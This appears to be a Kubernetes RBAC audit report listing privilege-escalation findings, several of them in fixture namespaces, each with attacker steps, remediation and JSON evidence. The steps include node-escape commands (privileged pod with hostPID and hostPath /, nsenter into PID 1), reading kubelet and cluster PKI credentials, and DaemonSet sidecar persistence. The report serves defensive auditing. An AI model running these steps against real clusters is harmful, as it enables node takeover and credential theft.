How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=privileged-reader -A and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=privileged-reader -A returns no for application identities.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source roleprivileged-reader
Inspect: kubectl get clusterrole privileged-reader -o yaml
Source bindingprivileged-reader
Inspect: kubectl get clusterrolebinding privileged-reader -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "privileged-reader",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "privileged-reader",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/cutres/cutres-doublebind Namespace 10.0
Namespace cutres-pods-a only pod creation can launch a privileged pod and escape to the node (ServiceAccount/cutres/cutres-doublebind)
Scope · Namespace Namespace cutres-pods-a only
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-doublebind Resource: RBACRule/cutres-pods-a/cutres-pod-creator

Subject ServiceAccount/cutres/cutres-doublebind can create pods via RoleBinding cutres-pods-a/cutres-pod-creator-a → Role cutres-pods-a/cutres-pod-creator, and namespace cutres-pods-a does not enforce a Pod Security Admission level that blocks privileged pods. Namespace cutres-pods-a only.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-a and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-a returns no for application identities.
Evidence
ScopeNamespace
Namespacecutres-pods-a
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source rolecutres-pod-creator
Inspect: kubectl get role cutres-pod-creator -n cutres-pods-a -o yaml
Source bindingcutres-pod-creator-a
Inspect: kubectl get rolebinding cutres-pod-creator-a -n cutres-pods-a -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "cutres-pods-a",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "cutres-pod-creator-a",
  "source_binding_kind": "RoleBinding",
  "source_role": "cutres-pod-creator",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/cutres/cutres-doublebind Namespace 10.0
Namespace cutres-pods-b only pod creation can launch a privileged pod and escape to the node (ServiceAccount/cutres/cutres-doublebind)
Scope · Namespace Namespace cutres-pods-b only
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-doublebind Resource: RBACRule/cutres-pods-b/cutres-pod-creator

Subject ServiceAccount/cutres/cutres-doublebind can create pods via RoleBinding cutres-pods-b/cutres-pod-creator-b → Role cutres-pods-b/cutres-pod-creator, and namespace cutres-pods-b does not enforce a Pod Security Admission level that blocks privileged pods. Namespace cutres-pods-b only.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-b and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-b returns no for application identities.
Evidence
ScopeNamespace
Namespacecutres-pods-b
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source rolecutres-pod-creator
Inspect: kubectl get role cutres-pod-creator -n cutres-pods-b -o yaml
Source bindingcutres-pod-creator-b
Inspect: kubectl get rolebinding cutres-pod-creator-b -n cutres-pods-b -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "cutres-pods-b",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "cutres-pod-creator-b",
  "source_binding_kind": "RoleBinding",
  "source_role": "cutres-pod-creator",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account Namespace 10.0
Namespace local-path-storage only pod creation can launch a privileged pod and escape to the node (ServiceAccount/local-path-storage/local-path-provisioner-service-account)
Scope · Namespace Namespace local-path-storage only
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: RBACRule/local-path-storage/local-path-provisioner-role

Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account can create pods via RoleBinding local-path-storage/local-path-provisioner-bind → Role local-path-storage/local-path-provisioner-role, and namespace local-path-storage does not enforce a Pod Security Admission level that blocks privileged pods. Namespace local-path-storage only.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=local-path-provisioner-service-account -n local-path-storage and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=local-path-provisioner-service-account -n local-path-storage returns no for application identities.
Evidence
ScopeNamespace
Namespacelocal-path-storage
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbsgetlistwatchcreatepatchupdatedelete
create: Create new objects of this resource
patch: Mutate existing objects in place
update: Replace existing objects
delete: Permanently remove objects
Source rolelocal-path-provisioner-role
Inspect: kubectl get role local-path-provisioner-role -n local-path-storage -o yaml
Source bindinglocal-path-provisioner-bind
Inspect: kubectl get rolebinding local-path-provisioner-bind -n local-path-storage -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "local-path-storage",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "local-path-provisioner-bind",
  "source_binding_kind": "RoleBinding",
  "source_role": "local-path-provisioner-role",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list",
    "watch",
    "create",
    "patch",
    "update",
    "delete"
  ]
}
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 10.0
Namespace privesc-fixtures only pod creation can launch a privileged pod and escape to the node (ServiceAccount/privesc-fixtures/sa-pod-create-escape)
Scope · Namespace Namespace privesc-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape Resource: RBACRule/privesc-fixtures/r-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape can create pods via RoleBinding privesc-fixtures/rb-pod-create-escape → Role privesc-fixtures/r-pod-create-escape, and namespace privesc-fixtures does not enforce a Pod Security Admission level that blocks privileged pods. Namespace privesc-fixtures only.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=sa-pod-create-escape -n privesc-fixtures and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=sa-pod-create-escape -n privesc-fixtures returns no for application identities.
Evidence
ScopeNamespace
Namespaceprivesc-fixtures
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source roler-pod-create-escape
Inspect: kubectl get role r-pod-create-escape -n privesc-fixtures -o yaml
Source bindingrb-pod-create-escape
Inspect: kubectl get rolebinding rb-pod-create-escape -n privesc-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "privesc-fixtures",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "rb-pod-create-escape",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-pod-create-escape",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH

Cluster-wide workload-controller mutation can spawn privileged pods on ServiceAccount/rbac-fixtures/sa-workload-mutate

KUBE-PRIVESC-003 4 subjects Score 10.0–5.9
MITRE ATT&CK: T1610T1098T1078.004

Affected subjects (4)

HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 10.0
Cluster-wide workload-controller mutation can spawn privileged pods on ServiceAccount/rbac-fixtures/sa-workload-mutate
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate Resource: RBACRule/cr-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate can create/update/patch workload controllers (deployments, daemonsets, statefulsets, jobs, cronjobs) via ClusterRoleBinding crb-workload-mutate → ClusterRole cr-workload-mutate. Cluster-wide: applies to every current and future namespace.

Anyone who can write a workload template inherits the same implicit permissions as pods/create: choice of ServiceAccount, choice of Pod Security context, and choice of host-level features. The specific danger of controller mutation (vs. pod create) is durability and stealth: a kubectl edit deployment adding a privileged: true sidecar produces pods continuously, so restart-looping the pod returns a fresh shell every time.

DaemonSet write is the most dangerous variant because a DaemonSet runs one pod on every node, including new nodes added later. CronJobs offer time-based persistence that survives pod evictions, node reboots, and short-lived RBAC remediations. A realistic incident: an attacker with patch daemonsets in kube-system mutates kube-proxy to add a malicious sidecar inheriting the existing pod's host-mounts and ServiceAccount.

Impact Spawn (or mutate existing) pods running as any ServiceAccount in Cluster-wide. DaemonSet write specifically yields one attacker pod per node, including future nodes.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWorkload template rewrite

update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

  1. Attacker enumerates writable controllers with kubectl auth can-i patch daemonsets --as=sa-workload-mutate -A.
  2. They identify a high-value DaemonSet (e.g. kube-system/kube-proxy, kube-system/cilium, or any node-agent that already runs privileged).
  3. They kubectl patch to add a sidecar container under their control, inheriting the existing pod's host-mounts, capabilities, and ServiceAccount.
  4. The DaemonSet controller rolls the change to every node; the attacker now has a privileged shell on every node and a node-level token on each.
  5. They use the token to enumerate cluster Secrets and pivot to control-plane components. Persistence survives subject-token rotation because the malicious sidecar continues running.
Remediation
Restrict workload-controller mutation to platform/CI identities; route application changes through GitOps with PR review.
  1. Audit who has create/update/patch on deployments,daemonsets,statefulsets,jobs,cronjobs. Most application identities should not have this.
  2. Move deployment changes behind GitOps (Argo CD/Flux) so humans push to Git and the controller applies the change under its own ServiceAccount.
  3. Add a Kyverno/Gatekeeper policy that rejects pod templates with privileged, hostPID, hostNetwork, hostPath mounts, or automountServiceAccountToken: true outside an explicit allowlist.
  4. For DaemonSets specifically, restrict creation to named platform ServiceAccounts. Verify with kubectl auth can-i create daemonsets --as=sa-workload-mutate -n kube-system returning no.
Evidence
ScopeCluster
API groupsappsbatch
Resourcesdeploymentsdaemonsetsstatefulsetsjobscronjobs
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-workload-mutate
Inspect: kubectl get clusterrole cr-workload-mutate -o yaml
Source bindingcrb-workload-mutate
Inspect: kubectl get clusterrolebinding crb-workload-mutate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "apps",
    "batch"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "deployments",
    "daemonsets",
    "statefulsets",
    "jobs",
    "cronjobs"
  ],
  "scope": "cluster",
  "source_binding": "crb-workload-mutate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-workload-mutate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
HIGH User/gw-deployer Namespace 9.1
Namespace gw-workloads only workload-controller mutation can spawn privileged pods on User/gw-deployer
Scope · Namespace Namespace gw-workloads only
Category: Privilege Escalation Subject: User/gw-deployer Resource: RBACRule/gw-workloads/gw-deployer

Subject User/gw-deployer can create/update/patch workload controllers (deployments, daemonsets, statefulsets, jobs, cronjobs) via RoleBinding gw-workloads/gw-deployer → Role gw-workloads/gw-deployer. Namespace gw-workloads only.

Anyone who can write a workload template inherits the same implicit permissions as pods/create: choice of ServiceAccount, choice of Pod Security context, and choice of host-level features. The specific danger of controller mutation (vs. pod create) is durability and stealth: a kubectl edit deployment adding a privileged: true sidecar produces pods continuously, so restart-looping the pod returns a fresh shell every time.

DaemonSet write is the most dangerous variant because a DaemonSet runs one pod on every node, including new nodes added later. CronJobs offer time-based persistence that survives pod evictions, node reboots, and short-lived RBAC remediations. A realistic incident: an attacker with patch daemonsets in kube-system mutates kube-proxy to add a malicious sidecar inheriting the existing pod's host-mounts and ServiceAccount.

Impact Spawn (or mutate existing) pods running as any ServiceAccount in Namespace gw-workloads only. DaemonSet write specifically yields one attacker pod per node, including future nodes.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
TechniqueWorkload template rewrite

update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

  1. Attacker enumerates writable controllers with kubectl auth can-i patch daemonsets --as=gw-deployer -n gw-workloads.
  2. They identify a high-value DaemonSet (e.g. kube-system/kube-proxy, kube-system/cilium, or any node-agent that already runs privileged).
  3. They kubectl patch to add a sidecar container under their control, inheriting the existing pod's host-mounts, capabilities, and ServiceAccount.
  4. The DaemonSet controller rolls the change to every node; the attacker now has a privileged shell on every node and a node-level token on each.
  5. They use the token to enumerate cluster Secrets and pivot to control-plane components. Persistence survives subject-token rotation because the malicious sidecar continues running.
Remediation
Restrict workload-controller mutation to platform/CI identities; route application changes through GitOps with PR review.
  1. Audit who has create/update/patch on deployments,daemonsets,statefulsets,jobs,cronjobs. Most application identities should not have this.
  2. Move deployment changes behind GitOps (Argo CD/Flux) so humans push to Git and the controller applies the change under its own ServiceAccount.
  3. Add a Kyverno/Gatekeeper policy that rejects pod templates with privileged, hostPID, hostNetwork, hostPath mounts, or automountServiceAccountToken: true outside an explicit allowlist.
  4. For DaemonSets specifically, restrict creation to named platform ServiceAccounts. Verify with kubectl auth can-i create daemonsets --as=gw-deployer -n kube-system returning no.
Evidence
ScopeNamespace
Namespacegw-workloads
API groupsapps
Resourcesdeployments
Verbscreate
create: Create new objects of this resource
Source rolegw-deployer
Inspect: kubectl get role gw-deployer -n gw-workloads -o yaml
Source bindinggw-deployer
Inspect: kubectl get rolebinding gw-deployer -n gw-workloads -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    "apps"
  ],
  "namespace": "gw-workloads",
  "resource_names": null,
  "resources": [
    "deployments"
  ],
  "scope": "namespace",
  "source_binding": "gw-deployer",
  "source_binding_kind": "RoleBinding",
  "source_role": "gw-deployer",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH User/gw-job-patcher Namespace 8.1
Namespace gw-workloads only workload-controller mutation can spawn privileged pods on User/gw-job-patcher
Scope · Namespace Namespace gw-workloads only
Category: Privilege Escalation Subject: User/gw-job-patcher Resource: RBACRule/gw-workloads/gw-job-patcher

Subject User/gw-job-patcher can create/update/patch workload controllers (deployments, daemonsets, statefulsets, jobs, cronjobs) via RoleBinding gw-workloads/gw-job-patcher → Role gw-workloads/gw-job-patcher. Namespace gw-workloads only.

Anyone who can write a workload template inherits the same implicit permissions as pods/create: choice of ServiceAccount, choice of Pod Security context, and choice of host-level features. The specific danger of controller mutation (vs. pod create) is durability and stealth: a kubectl edit deployment adding a privileged: true sidecar produces pods continuously, so restart-looping the pod returns a fresh shell every time.

DaemonSet write is the most dangerous variant because a DaemonSet runs one pod on every node, including new nodes added later. CronJobs offer time-based persistence that survives pod evictions, node reboots, and short-lived RBAC remediations. A realistic incident: an attacker with patch daemonsets in kube-system mutates kube-proxy to add a malicious sidecar inheriting the existing pod's host-mounts and ServiceAccount.

Impact Spawn (or mutate existing) pods running as any ServiceAccount in Namespace gw-workloads only. DaemonSet write specifically yields one attacker pod per node, including future nodes.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
TechniqueWorkload template rewrite

update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

  1. Attacker enumerates writable controllers with kubectl auth can-i patch daemonsets --as=gw-job-patcher -n gw-workloads.
  2. They identify a high-value DaemonSet (e.g. kube-system/kube-proxy, kube-system/cilium, or any node-agent that already runs privileged).
  3. They kubectl patch to add a sidecar container under their control, inheriting the existing pod's host-mounts, capabilities, and ServiceAccount.
  4. The DaemonSet controller rolls the change to every node; the attacker now has a privileged shell on every node and a node-level token on each.
  5. They use the token to enumerate cluster Secrets and pivot to control-plane components. Persistence survives subject-token rotation because the malicious sidecar continues running.
Remediation
Restrict workload-controller mutation to platform/CI identities; route application changes through GitOps with PR review.
  1. Audit who has create/update/patch on deployments,daemonsets,statefulsets,jobs,cronjobs. Most application identities should not have this.
  2. Move deployment changes behind GitOps (Argo CD/Flux) so humans push to Git and the controller applies the change under its own ServiceAccount.
  3. Add a Kyverno/Gatekeeper policy that rejects pod templates with privileged, hostPID, hostNetwork, hostPath mounts, or automountServiceAccountToken: true outside an explicit allowlist.
